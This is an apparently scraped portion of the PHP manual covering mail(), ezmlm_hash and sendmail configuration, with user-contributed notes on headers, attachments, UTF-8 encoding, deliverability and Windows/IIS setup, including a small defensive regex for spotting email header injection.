; to the sendmail binary. These parameters will always replace the value of
; the 5th parameter to mail(), even in safe mode.
;mail.force_extra_paramaters =

.. and save the changes.

4) Open the sendmail.ini and modify the settings to:

[sendmail]

; you must change mail.mydomain.com to your smtp server,
; or to IIS's "pickup" directory.  (generally C:\Inetpub\mailroot\Pickup)
; emails delivered via IIS's pickup directory cause sendmail to
; run quicker, but you won't get error messages back to the calling
; application.

smtp_server=mail.yourdomain.com

; smtp port (normally 25)

smtp_port=25

; the default domain for this server will be read from the registry
; this will be appended to email addresses when one isn't provided
; if you want to override the value in the registry, uncomment and modify

default_domain=yourdomain.com

; log smtp errors to error.log (defaults to same directory as sendmail.exe)
; uncomment to enable logging
; error_logfile=sendmail_error.log

; create debug log as debug.log (defaults to same directory as sendmail.exe)
; uncomment to enable debugging
; debug_logfile=sendmail_debug.log

; if your smtp server requires authentication, modify the following two lines

;auth_username=
;auth_password=

; if your smtp server uses pop3 before smtp authentication, modify the
; following three lines

pop3_server=mail.yourdomain.com
pop3_username=you@yourdomain.com
pop3_password=mysecretpassword

; to force the sender to always be the following email address, uncomment and
; populate with a valid email address.  this will only affect the "MAIL FROM"
; command, it won't modify the "From: " header of the message content

force_sender=you@yourdomain.com

; sendmail will use your hostname and your default_domain in the ehlo/helo
; smtp greeting.  you can manually set the ehlo/helo name if required

hostname=

The optional error and debug logging is recommended when trying this the first time, so you have a clue what goes wrong in case it doesn't work.
Force_sender is also optional, but recommended to avoid confusion on the server end.
Obviously mail.yourdomain.com, you@yourdomain.com, and mysecretpassword should be the relevant info for your SMTP server.
Now restart the WAMP services (mainly Apache so PHP re-reads it's config).

Now you're good to go and use the PHP mail() statement as if you're a Unix user ...
anselm at netuxo dot co dot uk 10-Nov-2006 11:31
In case you don't want to, or can't, configure sendmail for your server, a good alternative is esmtp - it's an smtp mailer with minimum configuration that can be used as a sendmail drop-in : http://esmtp.sourceforge.net/
martin dot felis at gmx dot de 11-Mar-2006 04:03
If using a chroot environment and you don't want to have a full mailer in it, mini-sendmail (can be found at http://www.acme.com/software/mini_sendmail/) is very useful. It is just a small binary that sends mails over your local mta over port 25.

Martin
derernst at gmx dot ch 17-Feb-2006 05:43
Suggestion for methods checking form inputs for e-mail injection attempts.

Any inputs expected from single-line text fields can just be refused if they contain a newline character. The second function tries to minimize matches on non-evil inputs by matching suspect strings only if preceded by a newline character. (Anyway, if this is considered to be safe, it will of course do it for single-line inputs, too.)

<?php

/**
* Check single-line inputs:
* Returns false if text contains newline character
*/
function has_no_newlines($text)
{
    return preg_match("/(%0A|%0D|\\n+|\\r+)/i", $text) == 0;
}

/**
* Check multi-line inputs:
* Returns false if text contains newline followed by
* email-header specific string
*/
function has_no_emailheaders($text)
{
    return preg_match("/(%0A|%0D|\\n+|\\r+)(content-type:|to:|cc:|bcc:)/i", $text) == 0;
}

?>
jcwebb at dicoe dot com 08-Feb-2006 11:16
Corrupted Attachments ???
I spent many hours with corrupted attachments (of all types of files) - The answer: a blank line is needed after $msg.=$file \r\n \r\n [incredible but true].
Heres some useful code for sending an attachment, and display html OR text depending on the users email-reader.

i work with many different systems, so...

<?php # Is the OS Windows or Mac or Linux
if (strtoupper(substr(PHP_OS,0,3)=='WIN')) {
  $eol="\r\n";
} elseif (strtoupper(substr(PHP_OS,0,3)=='MAC')) {
  $eol="\r";
} else {
  $eol="\n";
} ?>

<?php
# File for Attachment
$f_name="../../letters/".$letter;    // use relative path OR ELSE big headaches. $letter is my file for attaching.
$handle=fopen($f_name, 'rb');
$f_contents=fread($handle, filesize($f_name));
$f_contents=chunk_split(base64_encode($f_contents));    //Encode The Data For Transition using base64_encode();
$f_type=filetype($f_name);
fclose($handle);
# To Email Address
$emailaddress="user@example.com";
# Message Subject
$emailsubject="Heres An Email with a PDF".date("Y/m/d H:i:s");
# Message Body
ob_start();
  require("emailbody.php");     // i made a simple & pretty page for showing in the email
$body=ob_get_contents(); ob_end_clean();

# Common Headers
$headers .= 'From: Jonny <jon@example.com>'.$eol;
$headers .= 'Reply-To: Jonny <jon@example.com>'.$eol;
$headers .= 'Return-Path: Jonny <jon@example.com>'.$eol;     // these two to set reply address
$headers .= "Message-ID:<".$now." TheSystem@".$_SERVER['SERVER_NAME'].">".$eol;
$headers .= "X-Mailer: PHP v".phpversion().$eol;           // These two to help avoid spam-filters
# Boundry for marking the split & Multitype Headers
$mime_boundary=md5(time());
$headers .= 'MIME-Version: 1.0'.$eol;
$headers .= "Content-Type: multipart/related; boundary=\"".$mime_boundary."\"".$eol;
$msg = "";

# Attachment
$msg .= "--".$mime_boundary.$eol;
$msg .= "Content-Type: application/pdf; name=\"".$letter."\"".$eol;   // sometimes i have to send MS Word, use 'msword' instead of 'pdf'
$msg .= "Content-Transfer-Encoding: base64".$eol;
$msg .= "Content-Disposition: attachment; filename=\"".$letter."\"".$eol.$eol; // !! This line needs TWO end of lines !! IMPORTANT !!
$msg .= $f_contents.$eol.$eol;
# Setup for text OR html
$msg .= "Content-Type: multipart/alternative".$eol;

# Text Version
$msg .= "--".$mime_boundary.$eol;
$msg .= "Content-Type: text/plain; charset=iso-8859-1".$eol;
$msg .= "Content-Transfer-Encoding: 8bit".$eol;
$msg .= "This is a multi-part message in MIME format.".$eol;
$msg .= "If you are reading this, please update your email-reading-software.".$eol;
$msg .= "+ + Text Only Email from Genius Jon + +".$eol.$eol;

# HTML Version
$msg .= "--".$mime_boundary.$eol;
$msg .= "Content-Type: text/html; charset=iso-8859-1".$eol;
$msg .= "Content-Transfer-Encoding: 8bit".$eol;
$msg .= $body.$eol.$eol;

# Finished
$msg .= "--".$mime_boundary."--".$eol.$eol;   // finish with two eol's for better security. see Injection.

# SEND THE EMAIL
ini_set(sendmail_from,'from@example.com');  // the INI lines are to force the From Address to be used !
  mail($emailaddress, $emailsubject, $msg, $headers);
ini_restore(sendmail_from);
?>

I hope this helps.
Jon Webb [Madrid&London]

[EDITOR thiago NOTE: Code has a fix from o.straesser AT gmx DOT de]
lawcd at ntlworld dot com 30-Jan-2006 06:38
For those of you with the exim, if its not sending mail with the -i option and you cant easily change this, you might want to check out the imap_mail() function which works almost exactly the same and doesnt use exim, most web hosts provide this. If you using your own server then php needs to be compiled with imap libraries etc.

See http://uk2.php.net/manual/en/function.imap-mail.php
aweather88 at gmail dot com 14-Dec-2005 11:45
I spent hours searching the web trying to figure out why I was getting a "WARNING: mail(): SMTP server response: 501 5.5.4 Invalid Address " every time I was using the mail() function on my server (Win2K3,IIS 6.0,PHP4.4.1).  I knew everything was setup properly for SMTP based on other non IIS 6.0 configurations.

Turns out that the IIS 6.0 SMTP service does not like formatting of the "From" field in mail headers.  For instance:
<?PHP
   //This line DOES NOT send  mail message correctly
   $headers .= "From: \"".$fromname."\" <".$fromaddress.">\n";
?>
However this works:
<?PHP
   //This line sends mail message correctly
   $headers .= "From: \"".$fromaddress."\"\n";
?>

The fix is in Microsoft Article ID 291828 ( http://support.microsoft.com/?id=291828 ).  Even though the "bug" workaround is for IIS 6.0 on Exchange 2003 communicating with a UNIX server, THIS SOLVES THE PROBLEM.  Just skip down to the last section for Exchange 2003 and follow the instructions to modify the IIS 6 MetaBase with the MetaBase Explorer found in the IIS 6 Resource Kit.
josh at sdfahrenheit dot com 16-Apr-2004 04:52
For anyone having problems with attached files coming through garbled, make sure you have magic_quotes_runtime set to Off in your php.ini - it adds funky escape chars to your attached data and garbles the attachment.

This was giving me all kinds of grief.


Calculate the hash value needed by EZMLM

  • « Mail Functions
  • mail »
  • PHP Manual
  • Mail Functions
  • Calculate the hash value needed by EZMLM

ezmlm_hash

(PHP 4 >= 4.0.2, PHP 5)

ezmlm_hash — Calculate the hash value needed by EZMLM

Description

int ezmlm_hash ( string $addr )

ezmlm_hash() calculates the hash value needed when keeping EZMLM mailing lists in a MySQL database.

Parameters

addr

The email address that's being hashed.

Return Values

The hash value of addr.

Examples

Example #1 Calculating the hash and subscribing a user

<?php

$user = "joecool@example.com";
$hash = ezmlm_hash($user);
$query = sprintf("INSERT INTO sample VALUES (%s, '%s')", $hash, $user);
$db->query($query); // using PHPLIB db interface

?>

User Contributed Notes

thedragon at mediocreshit dot com 03-Aug-2007 03:55
ezmlm will add a user to the list from a mail() call if you use the -f extra flag in the function.
Example:

mail($to,$title,$email,$headers,"-tfromemail@example.com");

The extra flag being a -t followed by no space and the email address you want the email to appear as though it's being sent from. I spent hours messing with this to try to allow users to sign up for my mailing list by marking a check box while signing up on my site, ezmlm ignored everything until I threw that extra parameter in there.

Hope this helps.
jens at NOSPAM dot rootsy dot nu 30-Sep-2005 09:07
This is really ezmlm documentation, but I certanly would have been happy if I found it anywhere during my time of trial. I am not a Linux expert, as you probably will notice, so things I do/did that might sound incredibly stupid to those who do know. I blame hard-to-find documentation :)

I wanted a page where a visitor could add their address to my mailinglist. That shouldn't be too hard, or atleastso I thought...

First I tried mailing the mailinglist. For some reason, the mailinglist didn't see my "From:" -header and it failed miserably.

Then I tried to use system() to call ezmlm-sub, which only produced the error-code 111. That was an access problem. So, I tried making the mailinglist availible to the website, but the change in permissions caused the mailserver to malfunction (as opposed to mailfunction....). It took a while to sort that mess out.

I couldn't find any guide as howto add mysql-support. The big problem was how to know which tables was needed. Apperantly, this is all that is needed:

ezmlm-mktab listname | mysql -u root -p databasename

Then its just adding the mailinglist with mysql-support i qmailadmin. It doesn't seem to allow socket connection to the database, so iptables has to allow local connections to the mysql port.

Hope this helps someone.
Tim in SF 11-Dec-2003 04:57
EZ Mailing List Manager (EZMLM) is a mailing list manager which allows users to create their own mailing lists with a single command.

It seems to require qmail.

See:
http://www.ezmlm.org/
http://www.qmail.org/top.html#ezmlm


Send mail

  • « ezmlm_hash
  • Mailparse »
  • PHP Manual
  • Mail Functions
  • Send mail

mail

(PHP 4, PHP 5)

mail — Send mail

Description

bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )

Sends an email.

Parameters

to

Receiver, or receivers of the mail.

The formatting of this string must comply with » RFC 2822. Some examples are:

  • user@example.com
  • user@example.com, anotheruser@example.com
  • User <user@example.com>
  • User <user@example.com>, Another User <anotheruser@example.com>

subject

Subject of the email to be sent.

Caution

Subject must satisfy » RFC 2047.

message

Message to be sent.

Each line should be separated with a CRLF (\r\n). Lines should not be larger than 70 characters.

Caution

(Windows only) When PHP is talking to a SMTP server directly, if a full stop is found on the start of a line, it is removed. To counter-act this, replace these occurrences with a double dot.

<?php
$text = str_replace("\n.", "\n..", $text);
?>

additional_headers (optional)

String to be inserted at the end of the email header.

This is typically used to add extra headers (From, Cc, and Bcc). Multiple extra headers should be separated with a CRLF (\r\n). If outside data are used to compose this header, the data should be sanitized so that no unwanted headers could be injected.

Note:

When sending mail, the mail must contain a From header. This can be set with the additional_headers parameter, or a default can be set in php.ini.

Failing to do this will result in an error message similar to Warning: mail(): "sendmail_from" not set in php.ini or custom "From:" header missing. The From header sets also Return-Path under Windows.

Note:

If messages are not received, try using a LF (\n) only. Some Unix mail transfer agents (most notably » qmail) replace LF by CRLF automatically (which leads to doubling CR if CRLF is used). This should be a last resort, as it does not comply with » RFC 2822.

additional_parameters (optional)

The additional_parameters parameter can be used to pass additional flags as command line options to the program configured to be used when sending mail, as defined by the sendmail_path configuration setting. For example, this can be used to set the envelope sender address when using sendmail with the -f sendmail option.

This parameter is escaped by escapeshellcmd() internally to prevent command execution. escapeshellcmd() prevents command execution, but allows to add addtional parameters. For security reasons, it is recommended for the user to sanitize this parameter to avoid adding unwanted parameters to the shell command.

Since escapeshellcmd() is applied automatically, some characters that are allowed as email addresses by internet RFCs cannot be used. mail() can not allow such characters, so in programs where the use of such characters is required, alternative means of sending emails (such as using a framework or a library) is recommended.

The user that the webserver runs as should be added as a trusted user to the sendmail configuration to prevent a 'X-Warning' header from being added to the message when the envelope sender (-f) is set using this method. For sendmail users, this file is /etc/mail/trusted-users.

Return Values

Returns TRUE if the mail was successfully accepted for delivery, FALSE otherwise.

It is important to note that just because the mail was accepted for delivery, it does NOT mean the mail will actually reach the intended destination.

Changelog

Version | Description
4.2.3 | The additional_parameters parameter is disabled in safe_mode and the mail() function will expose a warning message and return FALSE when used.

Examples

Example #1 Sending mail.

Using mail() to send a simple email:

<?php
// The message
$message = "Line 1\r\nLine 2\r\nLine 3";

// In case any of our lines are larger than 70 characters, we should use wordwrap()
$message = wordwrap($message, 70, "\r\n");

// Send
mail('caffeinated@example.com', 'My Subject', $message);
?>

Example #2 Sending mail with extra headers.

The addition of basic headers, telling the MUA the From and Reply-To addresses:

<?php
$to      = 'nobody@example.com';
$subject = 'the subject';
$message = 'hello';
$headers = 'From: webmaster@example.com' . "\r\n" .
    'Reply-To: webmaster@example.com' . "\r\n" .
    'X-Mailer: PHP/' . phpversion();

mail($to, $subject, $message, $headers);
?>

Example #3 Sending mail with an additional command line parameter.

The additional_parameters parameter can be used to pass an additional parameter to the program configured to use when sending mail using the sendmail_path.

<?php
mail('nobody@example.com', 'the subject', 'the message', null,
   '-fwebmaster@example.com');
?>

Example #4 Sending HTML email

It is also possible to send HTML email with mail().

<?php
// multiple recipients
$to  = 'aidan@example.com' . ', '; // note the comma
$to .= 'wez@example.com';

// subject
$subject = 'Birthday Reminders for August';

// message
$message = '
<html>
<head>
  <title>Birthday Reminders for August</title>
</head>
<body>
  <p>Here are the birthdays upcoming in August!</p>
  <table>
    <tr>
      <th>Person</th><th>Day</th><th>Month</th><th>Year</th>
    </tr>
    <tr>
      <td>Joe</td><td>3rd</td><td>August</td><td>1970</td>
    </tr>
    <tr>
      <td>Sally</td><td>17th</td><td>August</td><td>1973</td>
    </tr>
  </table>
</body>
</html>
';

// To send HTML mail, the Content-type header must be set
$headers  = 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";

// Additional headers
$headers .= 'To: Mary <mary@example.com>, Kelly <kelly@example.com>' . "\r\n";
$headers .= 'From: Birthday Reminder <birthday@example.com>' . "\r\n";
$headers .= 'Cc: birthdayarchive@example.com' . "\r\n";
$headers .= 'Bcc: birthdaycheck@example.com' . "\r\n";

// Mail it
mail($to, $subject, $message, $headers);
?>

Note:

If intending to send HTML or otherwise Complex mails, it is recommended to use the PEAR package » PEAR::Mail_Mime.

Notes

Note:

The Windows implementation of mail() differs in many ways from the Unix implementation. First, it doesn't use a local binary for composing messages but only operates on direct sockets which means a MTA is needed listening on a network socket (which can either on the localhost or a remote machine).

Second, the custom headers like From:, Cc:, Bcc: and Date: are not interpreted by the MTA in the first place, but are parsed by PHP.

As such, the to parameter should not be an address in the form of "Something <someone@example.com>". The mail command may not parse this properly while talking with the MTA.

Note:

It is worth noting that the mail() function is not suitable for larger volumes of email in a loop. This function opens and closes an SMTP socket for each email, which is not very efficient.

For the sending of large amounts of email, see the » PEAR::Mail, and » PEAR::Mail_Queue packages.

Note:

The following RFCs may be useful: » RFC 1896, » RFC 2045, » RFC 2046, » RFC 2047, » RFC 2048, » RFC 2049, and » RFC 2822.

See Also

  • imap_mail() - Send an email message
  • » PEAR::Mail
  • » PEAR::Mail_Mime

User Contributed Notes

pierreantoine dot covet at gmail dot com 19-Mar-2014 05:50
Hi,

I had lots of problems using the code in the exemple. HTML was not rightly formated in my email.
Problem solved by replacing "\r\n" by "\n" as header end line.
Tobias Christensen 22-Nov-2013 11:29
It might be good to know, that you might get some Header error using the boundary, if it's not done correctly.

I got the header error about wrong close of the boundary, which in my case wasn't what was really wrong.

The thing to fix this might be to give the header before this a "\n\r", which might fix it.

For my case I needed to this twice, as I am doing this as strings, but as arrays and implodes them at the end with the "\n\r". I did it also in the specific header array, where the boundary is generated.
antoine dot php dot net at bonnefoy dot eu 07-Sep-2013 12:01
Hello,

it's sometime hard to include multiple attachment, or to include pictures inside body.

Please find these 2 functions allowing sending email with attachment.
usage :
<?php
echo date("H:i:s");
echo mail::sendMail("to@domain.com", "Test Attach ".  date("H:i:s"), "Contenu du mail <a href=3D'domain.com'>domain.com</a>", __FILE__, "xx@domain.com",'' , true);
?>

source :

<?php

class mail {

    public static function prepareAttachment($path) {
        $rn = "\r\n";

        if (file_exists($path)) {
            $finfo = finfo_open(FILEINFO_MIME_TYPE);
            $ftype = finfo_file($finfo, $path);
            $file = fopen($path, "r");
            $attachment = fread($file, filesize($path));
            $attachment = chunk_split(base64_encode($attachment));
            fclose($file);

            $msg = 'Content-Type: \'' . $ftype . '\'; name="' . basename($path) . '"' . $rn;
            $msg .= "Content-Transfer-Encoding: base64" . $rn;
            $msg .= 'Content-ID: <' . basename($path) . '>' . $rn;
//            $msg .= 'X-Attachment-Id: ebf7a33f5a2ffca7_0.1' . $rn;
            $msg .= $rn . $attachment . $rn . $rn;
            return $msg;
        } else {
            return false;
        }
    }

    public static function sendMail($to, $subject, $content, $path = '', $cc = '', $bcc = '', $_headers = false) {

        $rn = "\r\n";
        $boundary = md5(rand());
        $boundary_content = md5(rand());

// Headers
        $headers = 'From: Mail System PHP <no-reply@domain.com>' . $rn;
        $headers .= 'Mime-Version: 1.0' . $rn;
        $headers .= 'Content-Type: multipart/related;boundary=' . $boundary . $rn;

        //adresses cc and ci
        if ($cc != '') {
            $headers .= 'Cc: ' . $cc . $rn;
        }
        if ($bcc != '') {
            $headers .= 'Bcc: ' . $cc . $rn;
        }
        $headers .= $rn;

// Message Body
        $msg = $rn . '--' . $boundary . $rn;
        $msg.= "Content-Type: multipart/alternative;" . $rn;
        $msg.= " boundary=\"$boundary_content\"" . $rn;

//Body Mode text
        $msg.= $rn . "--" . $boundary_content . $rn;
        $msg .= 'Content-Type: text/plain; charset=ISO-8859-1' . $rn;
        $msg .= strip_tags($content) . $rn;

//Body Mode Html
        $msg.= $rn . "--" . $boundary_content . $rn;
        $msg .= 'Content-Type: text/html; charset=ISO-8859-1' . $rn;
        $msg .= 'Content-Transfer-Encoding: quoted-printable' . $rn;
        if ($_headers) {
            $msg .= $rn . '<img src=3D"cid:template-H.PNG" />' . $rn;
        }
        //equal sign are email special characters. =3D is the = sign
        $msg .= $rn . '<div>' . nl2br(str_replace("=", "=3D", $content)) . '</div>' . $rn;
        if ($_headers) {
            $msg .= $rn . '<img src=3D"cid:template-F.PNG" />' . $rn;
        }
        $msg .= $rn . '--' . $boundary_content . '--' . $rn;

//if attachement
        if ($path != '' && file_exists($path)) {
            $conAttached = self::prepareAttachment($path);
            if ($conAttached !== false) {
                $msg .= $rn . '--' . $boundary . $rn;
                $msg .= $conAttached;
            }
        }

//other attachement : here used on HTML body for picture headers/footers
        if ($_headers) {
            $imgHead = dirname(__FILE__) . '/../../../../modules/notification/ressources/img/template-H.PNG';
            $conAttached = self::prepareAttachment($imgHead);
            if ($conAttached !== false) {
                $msg .= $rn . '--' . $boundary . $rn;
                $msg .= $conAttached;
            }
            $imgFoot = dirname(__FILE__) . '/../../../../modules/notification/ressources/img/template-F.PNG';
            $conAttached = self::prepareAttachment($imgFoot);
            if ($conAttached !== false) {
                $msg .= $rn . '--' . $boundary . $rn;
                $msg .= $conAttached;
            }
        }

// Fin
        $msg .= $rn . '--' . $boundary . '--' . $rn;

// Function mail()
        mail($to, $subject, $msg, $headers);
    }

}

?>
ittasks at gmail dot com 29-Mar-2013 05:55
When dealing with mail headers "\n" and "\r\n" *sometimes* makes a big difference.

Once our CentOs servers got re-installed, all headers like:

  $headers = "MIME-Version: 1.0\r\n";
  $headers.= "Content-type: text/html; charset=iso-8859-1\r\n";
 ...

became part of message body instead of headers

I was able to fixed this by replacing "\r\n" with just "\n"
g dot kuizinas at anuary dot com 18-Jan-2013 03:46
<?php
**
 * Function responsible for sending unicode emails.
 *
 * @author Gajus Kuizinas <g.kuizinas@anuary.com>
 * @version 1.0.1 (2012 01 11)
 */
function mail_send($arr)
{
    if (!isset($arr['to_email'], $arr['from_email'], $arr['subject'], $arr['message'])) {
        throw new HelperException('mail(); not all parameters provided.');
    }

    $to            = empty($arr['to_name']) ? $arr['to_email'] : '"' . mb_encode_mimeheader($arr['to_name']) . '" <' . $arr['to_email'] . '>';
    $from        = empty($arr['from_name']) ? $arr['from_email'] : '"' . mb_encode_mimeheader($arr['from_name']) . '" <' . $arr['from_email'] . '>';

    $headers    = array
    (
        'MIME-Version: 1.0',
        'Content-Type: text/html; charset="UTF-8";',
        'Content-Transfer-Encoding: 7bit',
        'Date: ' . date('r', $_SERVER['REQUEST_TIME']),
        'Message-ID: <' . $_SERVER['REQUEST_TIME'] . md5($_SERVER['REQUEST_TIME']) . '@' . $_SERVER['SERVER_NAME'] . '>',
        'From: ' . $from,
        'Reply-To: ' . $from,
        'Return-Path: ' . $from,
        'X-Mailer: PHP v' . phpversion(),
        'X-Originating-IP: ' . $_SERVER['SERVER_ADDR'],
    );

    mail($to, '=?UTF-8?B?' . base64_encode($arr['subject']) . '?=', $arr['message'], implode("\n", $headers));
}
?>

Here is my helper function for those who are having problems properly handling UTF-8, subject, HTML, or even the headers data. I've been using it for over a year. It works fine with simple emails.

For anything more advanced (specifically, handling attachments and multiple email versions), you should be using an existing library like http://swiftmailer.org/.
shenyqwilliam 12-Nov-2012 11:32
If you're sending a large attachment, you may encounter overflow problem.
AFAIK, two common limits could be responsible.

1. Postfix message size limit.
Edit /etc/postfix/main.cf . Change the value of "message_size_limit".

2. Apache memory size limit for scripts.
Edit /etc/php.ini . Change the value of "memory_limit".

//Then reload (or restart) Postfix and Apache.
//Empirically, sending 200MB attachment requires 500MB memory.

Be careful! Raising memory limits may cause unexpected consequences, and is hence deprecated.
Recommended alternatives include:
* Pack and split attachment into several emails.
* Only include a link to the file. The receiver can download it later.
* Use IMAP/POP3 server (e.g. Dovecot).
bburch at bouncingpixel dot com 11-Oct-2012 09:13
When using the PHP mail() function with IIS 6 on Windows Server 2003, check your "Relay" settings on the SMTP Virtual Server in IIS.  If you grant access to 127.0.0.1 and set then set your php.ini SMTP to the same IP address (along with setting the same port 25), you should have success in sending mail.

I'm using PHP 5.3 and have had success with this configuration and did not have to define the "sendmail_from" setting in our php.ini file.
Joost Brugman 30-Aug-2012 06:49
When using mail() under a windows installation (tested under Xampp 1.7.7) any line in $headers that is (between the first and last properly formatted mail header and not a properly formatted mail headers itself) or (that is empty) is removed. As a result MIME formatted messages get scrambled. I am not sure if this behaviour is by design, but this is what it seems to do.

Example $headers:
01 From: "me" <me@domain.com>
02 MIME-Version: 1.0
03 Content-Type: multipart/mixed;
04         boundary=streamline503e8a5d00efdMessage
05
06 --streamline503e8a5d00efdMessage
07 Content-Type: multipart/alternative;
08         boundary=streamline503e8a5d00efdBody
09
10 --streamline503e8a5d00efdBody
11 Content-Type: text/plain;
12         charset=UTF-8
13 Content-Transfer-Encoding: quoted-printable
14
15 This message is written in HTML only.
16
17 --streamline503e8a5d00efdBody
18 Content-Type: text/html;
19         charset=UTF-8
20 Content-Transfer-Encoding: quoted-printable
21
22 This is an email with <b>html</b>content
23 --streamline503e8a5d00efdBody--
24
25 --streamline503e8a5d00efdMessage--
26
27 .

Here, lines 05, 09, 10, 14, 15, 16, 17 are removed. The first properly formatted mail header is on line 01. The last properly formatted mail header is on line 20. The before mentioned entries are between 01 and 20, not properly formatted mail headers themselves and are therefore removed.
Also, lines 21, 24, 26 are removed because they are empty.

As a result this message will be delivered, but the mime structure is broken, since relevant lines are left out.

The solution is to pass lines 01 through 04 in $headers and to pass 06 through 26 to $message. $message will passed unchanged and the mime structure will remain intact.
martin dot farrow at versacloud dot com 06-Aug-2012 06:07
I've noticed that on some versions of PHP occasionally mail() returns the empty string for success, rather than true or false. The empty string evaluates to false.

if you use constructs like

if ( mail( ... ) ){
  # do something here on success
}

this wont work consistently.

so you need code like

$ret=mail(....)

if ( $ret == '' || $ret ){
  # do something here
}

to get consistent results.
pavel.lint at vk.com 16-May-2012 08:22
Here's a small handy function I use to send email in UTF-8.

 <?php
function mail_utf8($to, $from_user, $from_email,
                                             $subject = '(No subject)', $message = '')
   {
      $from_user = "=?UTF-8?B?".base64_encode($from_user)."?=";
      $subject = "=?UTF-8?B?".base64_encode($subject)."?=";

      $headers = "From: $from_user <$from_email>\r\n".
               "MIME-Version: 1.0" . "\r\n" .
               "Content-type: text/html; charset=UTF-8" . "\r\n";

     return mail($to, $subject, $message, $headers);
   }
?>
rexlorenzo at gmail dot com 02-May-2012 10:24
Be careful to not put extra spaces for the $headers variable.

For example, this didn't work on our servers:

$headers = "From: $from \r\n Bcc: $bcc \r\n";

But this did:

$headers = "From: $from\r\nBcc: $bcc\r\n";

Notice the removal of the spaces around the first \r\n.
bimal at sanjaal dot com 20-Apr-2012 02:05
You can write clean PHP code while creating the headers correctly. First, build a list of all headers in an array. Then, glue them with "\r\n" character.

The code now looks clean and straight forward.
(Just compare it with the manual's example ;-) )

<?php
$headers   = array();
$headers[] = "MIME-Version: 1.0";
$headers[] = "Content-type: text/plain; charset=iso-8859-1";
$headers[] = "From: Sender Name <sender@domain.com>";
$headers[] = "Bcc: JJ Chong <bcc@domain2.com>";
$headers[] = "Reply-To: Recipient Name <receiver@domain3.com>";
$headers[] = "Subject: {$subject}";
$headers[] = "X-Mailer: PHP/".phpversion();

mail($to, $subject, $email, implode("\r\n", $headers));
?>
Marc Parillo 18-Apr-2012 10:27
If you follow the suggested format for the $to field, you can list multiple addresses in a comma-delimited string with spaces.

The spaces could be an issue if you're experiencing a similar problem.  I was unable to send an e-mail to multiple addresses using that format.  It started working for me when I removed all of the spaces in the $to string.

Example:
<?php
$to = 'nobody@example.com,anotheruser@example.com,yetanotheruser@example.com'; // no spaces
mail($to, 'the subject', 'the message');
?>
yarik dot bohatsky at gmail dot com 18-Apr-2012 12:02
If you want to send UTF-8 HTML letter you need to mention charset twice:

1) In message header:
<?php
$headers .= 'Content-type: text/html; charset=utf-8' . "\r\n";
?>

2) In HTML header:
<?php
$message = '
<html>
<head>
   <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
   <title>Fillon soutient à fond le retour d\'un Grand Prix de France</title>
</head>
<body>
   <p>Le Premier ministre François Fillon, passionné d\'automobile et pilote à ses heures, a apporté un soutien appuyé au retour d\'un Grand Prix de France au calendrier 2013 de la Formule 1, en faisant un passage-éclair vendredi sur le circuit Paul Ricard dans le Var.</p>
</body>
</html>
';

In this case Outlook will also "understand" that message is encoded using UTF-8.
geeralo at gmx dot de 21-Mar-2012 08:08
Hello programmers!

There is something important I want to notice about charsets here:

"Content-Type: text/plain; charset = \"UTF-8\";\n"

is right and not only

"Content-Type: text/plain; charset=UTF-8\n"

Hope I could help other people who frustrate while searching the same mistake like me.

Remember also to write only \r for windows and not for Linux-Servers.
And at the end of the header should be an extra blank line:

$headers .= "Content-Type: text/plain; charset = \"UTF-8\";\n";
$headers .= "Content-Transfer-Encoding: 8bit\n";
$headers .= "\n";

Greetings
akger1379 at gmail dot com 17-Feb-2012 10:14
Use sendmail in queue mode to prevent long pauses everytime php is calling the mail() function.

<?php
$additionalParameters = '-ODeliveryMode=d';
mail($to, $subject, $message, $headers, $additionalParameters);
?>

Your mails will be delivered everytime the sendmail daemon is processing the queue. To see what the interval may be see the "QUEUE_INTERVAL" variable in /etc/mail/sendmail.conf
Max AT 15-Feb-2012 06:26
To define a mail sensitivity you have to put this line in the headers:

<?php
        $headers = "MIME-Version: 1.0\n" ;
        $headers .= "Content-Type: text/html; charset=\"iso-8859-1\"\n";

        $headers .= "Sensitivity: Personal\n";

 $status   = mail($to, $subject, $message,$headers);
?>

Possible Options:
Sensitivity: Normal, Personal, Private and Company-Confidential

These will be recognised and handled in Outlook, Thunderbird and others.
ABOMB 31-Jan-2012 07:16
I was having delivery issues from this function to Gmail, Yahoo, AOL, etc.  I used the notes here to figure that you need to be setting your Return-Path to a valid email to catch bounces.  There are two extra delivery gotchas on top of that:

1) The domain in the email used in the -f option in the php.ini sendmail parameter or in the mail() extra parameters field, needs to have a valid SPF record for the domain (in DNS as a "TXT" record type for sure and add an additional  "SPF" type record if possible).  Why? That's header field being used for spam checks.

2) You should also use a domain key or DKIM.  The trick here is that the domain key/DKIM is case sensitive!  I used Cpanel to create my domain key which automatically used all lowercase domain names in the key creation.  I found when  sending email and using a camel case "-f account@MyDomainHere.Com" option, my key was not accepted.  However it was accepted when I used "-f account@mydomainhere.com".

There are many other factors that can contribute to mail not getting to inboxes, including your own multiple failed testing attempts, so I suggest you consult each site's guidelines and don't ask me for help.  These are just the couple technical issues that helped my case.

I hope this saves someone some time and headaches...
debis at woh dot rr dot com 15-Dec-2011 12:09
This is for Windows Server 2003, IIS 6.0 with SMTP virtual server.

The problem I had was not including init_set for the SMTP server, I thought the SMTP definition in the IIS SMTP virtual server configuration would work.  When I sent mail manually this was not an issue.

Also, $mail_sent = @mail( $to, $subject, $message, $headers ); wouldn't work but $mail_sent = mail($to, $subject, $message, $headers); did.
Lack of date_default_timezone_set() only caused a warning because php guessed what it should be.

This worked:
<?php
$to      = 'nobody@example.com';
$subject = 'the subject';
$message = 'hello';
$headers = 'From: webmaster@example.com' . "\r\n" .
    'Reply-To: webmaster@example.com' . "\r\n" .
    'X-Mailer: PHP/' . phpversion();
ini_set ( "SMTP", "smtp-server.example.com" );
date_default_timezone_set('America/New_York');

mail($to, $subject, $message, $headers);
?>

And just so you can troubleshoot, this worked when sending mail from the command line/manually. CLI worked even though the php code without the init_set function wouldn't work.

You will notice that the "rcpt to" and "to" fields appear redundant, but if both are not used, the delivered mail's "to" field will be blank/empty.

-------------------------------
telnet www.example.com 25
helo
mail from: webmaster@example.com
rcpt to: someone@example.com
data
to: someone@example.com
subject: test again to make sure

this is my message
.
quit
-----------------------------------
saganwebdesign 14-Oct-2011 04:01
If you are getting frustrated that your email is being sent as plain text instead of HTML, typically one of your headers showing up in the email (even if other scripts on the same server seem to work fine!!!) then structure your headers like this:

<?php
